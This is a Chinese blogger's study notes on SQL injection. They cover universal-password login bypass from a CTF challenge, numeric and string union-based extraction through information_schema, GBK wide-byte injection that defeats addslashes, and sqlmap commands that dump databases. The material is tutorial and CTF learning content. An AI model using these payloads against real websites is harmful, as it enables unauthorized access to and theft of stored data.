学习笔记——SQL(二)


一、SQL注入

1.简介

SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行指定的SQL语句。具体来说,它可以通过在Web表单中输入SQL语句得到一个存在安全漏洞的网站上的数据,而不是按照设计者意图去执行SQL语句。
SQL注入产生的原因是网站开发者未经过恰当处理,直接将用户提交的参数拼接到后台数据库SQL语句中执行。

2.SQL注入基础

以BUUCTF上的一道注入题为例子
在这里插入图片描述
像这道题,就可以使用万能密码1 ‘or’ 1=1#
在这里插入图片描述
或者’ or 1=1#
在这里插入图片描述
最后都能得到flag。
正常语句:select * from users where username='$username' and password='$password';
注入语句:select * from users where username='admin' or 1=1#' and password='123456';

3.SQL注入的基本步骤

  1. 测试注入点是否存在,判断为数字型还是字符型,如何闭合 输入’页面报错,or 1=1#,and 1=1#为真,and 1=2#为假。
  2. 获取查询字段数(order by语句排除)
  3. 判断可回显的字段位置(union select联合查询)
  4. 获取数据库名等信息(database()函数,version()函数等)
  5. 获取表名(information_schema.tables)
  6. 获取表中字段名(information_schema.columns)
  7. 获取所需数据

二、数字型注入

当输入的参数为整型时,如:ID、年龄、页码等,如果存在注入漏洞,则可以认为是数字型注入,数字型注入是最简单的一种。

假设有URL为 HTTP://www.xxser.com/test.php?id=8 ,可以猜测SQL语句为:
select * from table where id=8
构造的注入语句为:HTTP://www.xxser.com/test.php?id=8 and 1=1# (有时#需替换为%23)
注入:select * from table where id=8 and 1=1#

构造的注入语句为:
HTTP://www.xxser.com/test.php?id=8 and 1=2#

SQL语句为:
select * from table where id=8 and 1=2#

虽然能够成功执行,但是无法查询到任何数据(因为 and 1=2为假),说明页面存在数字型注入。

?id=8 order by n#(n=1,2,3…)
select * from table where id=8 order by n#
从1到n依次替换数字,当页面报错 Unknown column ‘n’ in 'order clause’时,说明查询字段数为n。

?id=0 union select 1,2, ... , n #
select 1,2,...,n from table where id=0 union select 1,2, ... , n #
union select 的前后两个查询语句字段数必须一致。通过联合查询确定回显信息的字段位置。

?id=0 union select version(),database(), ... , n #
select 1,2,...,n from table where id=0 union select version(),database(), ... , n #
接下来就可以将后面的内容替换成我们真正需要查询的信息了,比如数据库版本和当前数据库名。

?id=0 union select group_concat(tables),2, ... , n from information_schema.tables where table_schema=database()#
通过information_schema库内的tables表查询当前数据库的所有表信息。
group_concat()函数能够能将字段的值打印成一行,以逗号分隔。

?id=0 union select group_concat(columns),2, ... , n from information_schema.columns where table_schema=database() and table_name='xxxx'#
通过information_schema库内的columns表查询xxxx表的所有列信息。

?id=0 union select group_concat(col1),group_concat(col2) from xxxx#
直接联合查询xxxx表内col1,col2两列所有信息。

三、字符型注入

当输入参数为字符串时,称为字符型。数字型与字符型注入最大的区别在于:数字类型不需要单引号闭合,而字符串类型一般要使用单引号来闭合。
数字型例句如下:select * from table where id = 1 or 1=1-- ;
字符型例句如下:select * from table where id =1 or 1=1-- ';

字符型注入最关键的是如何闭合SQL语句以及注释多余的代码。

四、宽字节注入

addslashes()函数返回在预定义字符之前添加反斜杠字符串。
预定义字符量:
单引号:(’ )
双引号:(")
反斜杠:(\)
NULL
这些函数可用于为储存在数据库中的字符串以及数据库查询语句准备字符。
默认的,PHP对所有的GET、POST\和COOKIE数据自动运行addslashes()。所以对于转义过的字符不用使用addslaches()函数,这样会导致双层转义,遇到这种情况可以使用函数get_magic_quotes_gpc()进行检测。

设置“set character_set_client=gbk”(GBK编码设置),通常导致编码转换的注入问题,尤其是使用php连接mysql数据库的时候。
宽字节就是两个字节以上的字节。一个GBK汉字编码由2个字节组成,首字节范围在7F【127】之上,而第2个字节,有一部分在0x40-0x7E【64-126】了。这就是导致bug原因。当设置GBK编码后,遇到连续两个字节,都符合GBK取值范围,会自动解析为一个汉字。

第一个字节范围(高字节)第二个字节范围(低字节)
0x81~0xFE [129~254]0x40~0xFE [64~254]

反斜杠 / 的对应编码为5C【92】,刚好在GBK编码的第二个字节范围内,因此如果反斜杠之前的一个字节编码大于0x80(128),PHP就会将这两个在范围内的字节解析成一个GBK字符,因而能够绕过addslashes函数对单引号的转义。

正常语句:
select * from users where username='zhangsan';

普通的字符型注入输入:
zhangsan' or 1=1#

经过addslashes转义:
select * from users where username='zhangsan\' or 1=1#';

宽字节注入输入:zhangsan%df' or 1=1# (0xdf = 223)

经过addslashes转义:
select * from users where username='zhangsan%df\' or 1=1#';
经过浏览器url编码:
select * from users where username='zhangsan%df%5c%27or%201=1%23';
%df%5c会被gbk编码的php解析成一个汉字“運”,原本的语句就成了:
select * from users where username='zhangsan運' or 1=1#';
实践:做题笔记——sqli-labs Less-32

五、SQLMAP的简单使用

查询有哪些数据库

sqlmap -u “目标URL” -dbs

查某个数据库的所有表

sqlmap -u “目标URL” -D 某数据库 -tables

查某个表格的所有列

	sqlmap -u “目标URL” -D 某数据库 -T 某表 -columns

爆某个表格的所有数据

	sqlmap -u “目标URL” -D 某数据库 -T 某表 -dump

获取sqlmap使用帮助

sqlmap -h
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值